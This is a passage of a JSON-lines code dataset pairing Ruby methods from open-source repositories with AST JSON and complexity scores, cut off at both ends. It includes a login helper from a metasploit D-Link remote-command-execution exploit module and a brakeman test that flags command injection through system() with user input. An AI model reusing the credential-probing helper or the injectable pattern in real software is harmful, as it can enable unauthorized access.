end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"expression\"]},\"source_buffer\"]},\"name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"include?\",{\"type\":\"const\",\"children\":[null,\"COMPONENT_PATH\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\".rb\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"preview_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"sub\",{\"type\":\"const\",\"children\":[null,\"COMPONENT_PATH\"]},{\"type\":\"const\",\"children\":[null,\"PREVIEW_PATH\"]}]},\"sub\",{\"type\":\"str\",\"children\":[\".rb\"]},{\"type\":\"str\",\"children\":[\"_preview.rb\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"preview_path\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Missing Lookbook preview for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\". Expected preview to exist at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preview_path\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}]}]}]}","id":"8f994f57-e3db-417e-b96c-7e0e0173dcb3"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_integration_ssl.rb","start_line":27,"raw_source":"def bind_port\n    @bind_port ||= UniquePort.call\n    @tcp_port = @bind_port\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"bind_port\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@bind_port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UniquePort\"]},\"call\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@tcp_port\",{\"type\":\"ivar\",\"children\":[\"@bind_port\"]}]}]}]}","id":"78b7905b-8362-410a-85fb-ad494ee3e8a1"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/notification/remove_old_notification_job.rb","start_line":4,"raw_source":"def perform\n    Notification.where('created_at < ?', 1.month.ago)\n                .find_each(batch_size: 1000, &:delete)\n  end","complexity_score":7.15,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"where\",{\"type\":\"str\",\"children\":[\"created_at < ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"month\"]},\"ago\"]}]},\"find_each\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batch_size\"]},{\"type\":\"int\",\"children\":[1000]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]}]}]}]}","id":"61e5ed8b-dbf7-4f88-a14f-81c39fb96d2b"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/topic_view.rb","start_line":756,"raw_source":"def recent_posts\n    @filtered_posts.unscope(:order).by_newest.with_user.first(25)\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"recent_posts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filtered_posts\"]},\"unscope\",{\"type\":\"sym\",\"children\":[\"order\"]}]},\"by_newest\"]},\"with_user\"]},\"first\",{\"type\":\"int\",\"children\":[25]}]}]}","id":"569916ad-6d66-4314-ae0d-5d7e1375ca45"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/helpers/fast_quarantine.rb","start_line":54,"raw_source":"def fq_path\n          @fq_path ||= ENV[\"RSPEC_FAST_QUARANTINE_PATH\"] = File.join(Runtime::Path.qa_root, \"tmp\", fq_filename)\n        end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fq_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@fq_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"RSPEC_FAST_QUARANTINE_PATH\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Path\"]},\"qa_root\"]},{\"type\":\"str\",\"children\":[\"tmp\"]},{\"type\":\"send\",\"children\":[null,\"fq_filename\"]}]}]}]}]}","id":"d29ab48b-ecef-4889-8956-2a87629e6ac2"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/uuid_test.rb","start_line":178,"raw_source":"def test_uuid_formats\n    [\"A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11\",\n     \"{a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11}\",\n     \"a0eebc999c0b4ef8bb6d6bb9bd380a11\",\n     \"a0ee-bc99-9c0b-4ef8-bb6d-6bb9-bd38-0a11\",\n     \"{a0eebc99-9c0b4ef8-bb6d6bb9-bd380a11}\"].each do |valid_uuid|\n      UUIDType.create(guid: valid_uuid)\n      uuid = UUIDType.last\n      assert_equal \"a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11\", uuid.guid\n    end\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_uuid_formats\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11\"]},{\"type\":\"str\",\"children\":[\"{a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11}\"]},{\"type\":\"str\",\"children\":[\"a0eebc999c0b4ef8bb6d6bb9bd380a11\"]},{\"type\":\"str\",\"children\":[\"a0ee-bc99-9c0b-4ef8-bb6d-6bb9-bd38-0a11\"]},{\"type\":\"str\",\"children\":[\"{a0eebc99-9c0b4ef8-bb6d6bb9-bd380a11}\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"valid_uuid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UUIDType\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"guid\"]},{\"type\":\"lvar\",\"children\":[\"valid_uuid\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uuid\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UUIDType\"]},\"last\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uuid\"]},\"guid\"]}]}]}]}]}","id":"0574c16a-23f2-49e1-a317-02a4acbc0d82"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/lib/tooling/gettext_extractor.rb","start_line":99,"raw_source":"def parse_frontend_files\n      results, status = Open3.capture2('node scripts/frontend/extract_gettext_all.js --all')\n      raise StandardError, \"Could not parse frontend files\" unless status.success?\n\n      # rubocop:disable Gitlab/Json\n      JSON.parse(results)\n          .values\n          .flatten(1)\n          .collect { |entry| create_po_entry(*entry) }\n      # rubocop:enable Gitlab/Json\n    end","complexity_score":14.75,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_frontend_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"results\"]},{\"type\":\"lvasgn\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Open3\"]},\"capture2\",{\"type\":\"str\",\"children\":[\"node scripts/frontend/extract_gettext_all.js --all\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"success?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]},{\"type\":\"str\",\"children\":[\"Could not parse frontend files\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"results\"]}]},\"values\"]},\"flatten\",{\"type\":\"int\",\"children\":[1]}]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"send\",\"children\":[null,\"create_po_entry\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]}]}]}]}]}]}","id":"a58c2eff-2a0c-4d62-b511-157d23ecc6d9"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/slack/messengers/note.rb","start_line":12,"raw_source":"def self.call(...)\n        new(...).call\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"forwarded_args\",\"children\":[]}]},\"call\"]}]}","id":"fbc00461-efca-4cbe-8858-663b1df0a040"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/custom_styles_controller_helper.rb","start_line":60,"raw_source":"def validate_font_file_size(name, filename)\n    size = font_file_size(filename)\n    if size >= MAX_FONT_UPLOAD_SIZE\n      \"#{name.to_s.humanize} #{I18n.t('admin.custom_styles.fonts.file_too_large',\n                                      count: (MAX_FONT_UPLOAD_SIZE / 1.megabyte).to_i)}\"\n    end\n  end","complexity_score":12.48,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_font_file_size\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"size\",{\"type\":\"send\",\"children\":[null,\"font_file_size\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},\">=\",{\"type\":\"const\",\"children\":[null,\"MAX_FONT_UPLOAD_SIZE\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},\"humanize\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin.custom_styles.fonts.file_too_large\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAX_FONT_UPLOAD_SIZE\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"megabyte\"]}]}]},\"to_i\"]}]}]}]}]}]},null]}]}]}","id":"93549d44-517d-4946-bdd1-5af44de26543"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_xml/markup_extractor.rb","start_line":99,"raw_source":"def people\n      ([assignee, author] + comments.pluck(:author)).filter(&:present?).uniq\n    end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"people\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assignee\"]},{\"type\":\"send\",\"children\":[null,\"author\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"comments\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"author\"]}]}]}]},\"filter\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"present?\"]}]}]},\"uniq\"]}]}","id":"34790ad7-13e8-4d60-bf1d-92de0c3a4ff9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/settings/working_days_and_hours_params_contract.rb","start_line":83,"raw_source":"def working_days\n      params[:working_days]\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"working_days\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"working_days\"]}]}]}","id":"9b39e21f-1c02-493d-af2f-98ace20b3c8c"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/pathname/blank.rb","start_line":13,"raw_source":"def blank?\n    to_s.empty?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"blank?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_s\"]},\"empty?\"]}]}","id":"95c47e58-1972-4b3e-ba50-f1c6b46011e0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/web/web_console.rb","start_line":152,"raw_source":"def active_module=(val)\n    self.console.active_module = val\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"active_module=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"console\"]},\"active_module=\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}","id":"5b992304-196c-4b2d-9c0f-d0029f290674"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/request/session.rb","start_line":245,"raw_source":"def each(&block)\n        to_hash.each(&block)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"each\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_hash\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"708f88f7-21d7-48ab-a5a6-7b76cd6dfec8"}
{"repo_name":"blueprinter","file_path":"./repos/blueprinter/lib/blueprinter/view_collection.rb","start_line":97,"raw_source":"def gather_transformers_from_included_views(view_name)\n      current_view = views[view_name]\n      already_included_transformers = current_view.included_view_names.flat_map do |included_view_name|\n        next [] if view_name == included_view_name\n\n        gather_transformers_from_included_views(included_view_name)\n      end\n      [*already_included_transformers, *current_view.view_transformers].uniq\n    end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"gather_transformers_from_included_views\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"view_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_view\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"views\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"view_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"already_included_transformers\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_view\"]},\"included_view_names\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"included_view_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"view_name\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"included_view_name\"]}]},{\"type\":\"next\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"gather_transformers_from_included_views\",{\"type\":\"lvar\",\"children\":[\"included_view_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"already_included_transformers\"]}]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_view\"]},\"view_transformers\"]}]}]},\"uniq\"]}]}]}","id":"429e5522-240f-42e0-bebd-802f2468f50b"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/create_migration_test.rb","start_line":12,"raw_source":"def self.next_migration_number(dirname)\n      current_migration_number(dirname) + 1\n    end","complexity_score":2.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"next_migration_number\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dirname\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_migration_number\",{\"type\":\"lvar\",\"children\":[\"dirname\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}","id":"9ff68165-c548-47d4-a5e8-37a1f5ca09c2"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/multibyte/chars.rb","start_line":116,"raw_source":"def reverse\n        chars(@wrapped_string.grapheme_clusters.reverse.join)\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reverse\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"chars\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@wrapped_string\"]},\"grapheme_clusters\"]},\"reverse\"]},\"join\"]}]}]}","id":"3f33c547-c0d7-4313-a4e0-185c687036f2"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails52.rb","start_line":236,"raw_source":"def test_command_injection_array_join\n    assert_warning :type => :warning,\n      :warning_code => 14,\n      :fingerprint => \"478a39b6379df61bf0b016f435d054f279353e4fcd048304105152f6203fbdaa\",\n      :warning_type => \"Command Injection\",\n      :line => 33,\n      :message => /^Possible\\ command\\ injection/,\n      :confidence => 1,\n      :relative_path => \"lib/shell.rb\",\n      :code => s(:call, nil, :system, s(:dstr, \"ruby \", s(:evstr, s(:call, nil, :method_that_returns_user_input)), s(:str, \" --some-flag\"))),\n      :user_input => s(:call, nil, :method_that_returns_user_input)\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_command_injection_array_join\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[14]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"478a39b6379df61bf0b016f435d054f279353e4fcd048304105152f6203fbdaa\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Command Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[33]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Possible\\\\ command\\\\ injection\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"lib/shell.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"system\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"dstr\"]},{\"type\":\"str\",\"children\":[\"ruby \"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"evstr\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"method_that_returns_user_input\"]}]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"str\"]},{\"type\":\"str\",\"children\":[\" --some-flag\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"method_that_returns_user_input\"]}]}]}]}]}]}","id":"a9ce75c8-eea3-4c1a-b26f-7609592c2cce"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/dlink_dcs_930l_authenticated_remote_command_execution.rb","start_line":85,"raw_source":"def test_login(user, pass)\n    print_status(\"#{peer} - Trying to login with #{user} : #{pass}\")\n\n    res = send_request_cgi({\n      'uri' => '/',\n      'method' => 'GET',\n      'authorization' => basic_auth(user, pass)\n    })\n\n    fail_with(Failure::UnexpectedReply, \"#{peer} - Could not connect to web service - no response\") if res.nil?\n    fail_with(Failure::UnexpectedReply, \"#{peer} - Could not connect to web service - invalid credentials (response code: #{res.code}\") if res.code != 200\n\n    print_good(\"#{peer} - Successful login #{user} : #{pass}\")\n  end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"pass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Trying to login with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\" : \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"authorization\"]},{\"type\":\"send\",\"children\":[null,\"basic_auth\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Could not connect to web service - no response\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Could not connect to web service - invalid credentials (response code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Successful login \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\" : \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]}]}]}","id":"6b9feea8-5ff2-468b-9bb2-4195bd9d00d0"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/s3_region_site_setting.rb","start_line":4,"raw_source":"def self.valid_value?(val)\n    valid_values.include? val\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"valid_value?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_values\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}","id":"a7031ded-f34a-4484-bb27-c5586a90ad78"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/services/spree/cart/empty.rb","start_line":19,"raw_source":"def empty_order(order:)\n        ActiveRecord::Base.transaction do\n          order.line_items.destroy_all\n          order.updater.update_item_count\n          order.adjustments.destroy_all\n          order.shipments.destroy_all\n          order.state_changes.destroy_all\n          order.order_promotions.destroy_all\n          order.update_totals\n          order.persist_totals\n          order.restart_checkout_flow\n\n          success(order)\n        end\n      end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"empty_order\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"order\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"line_items\"]},\"destroy_all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"updater\"]},\"update_item_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"adjustments\"]},\"destroy_all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"shipments\"]},\"destroy_all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"state_changes\"]},\"destroy_all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":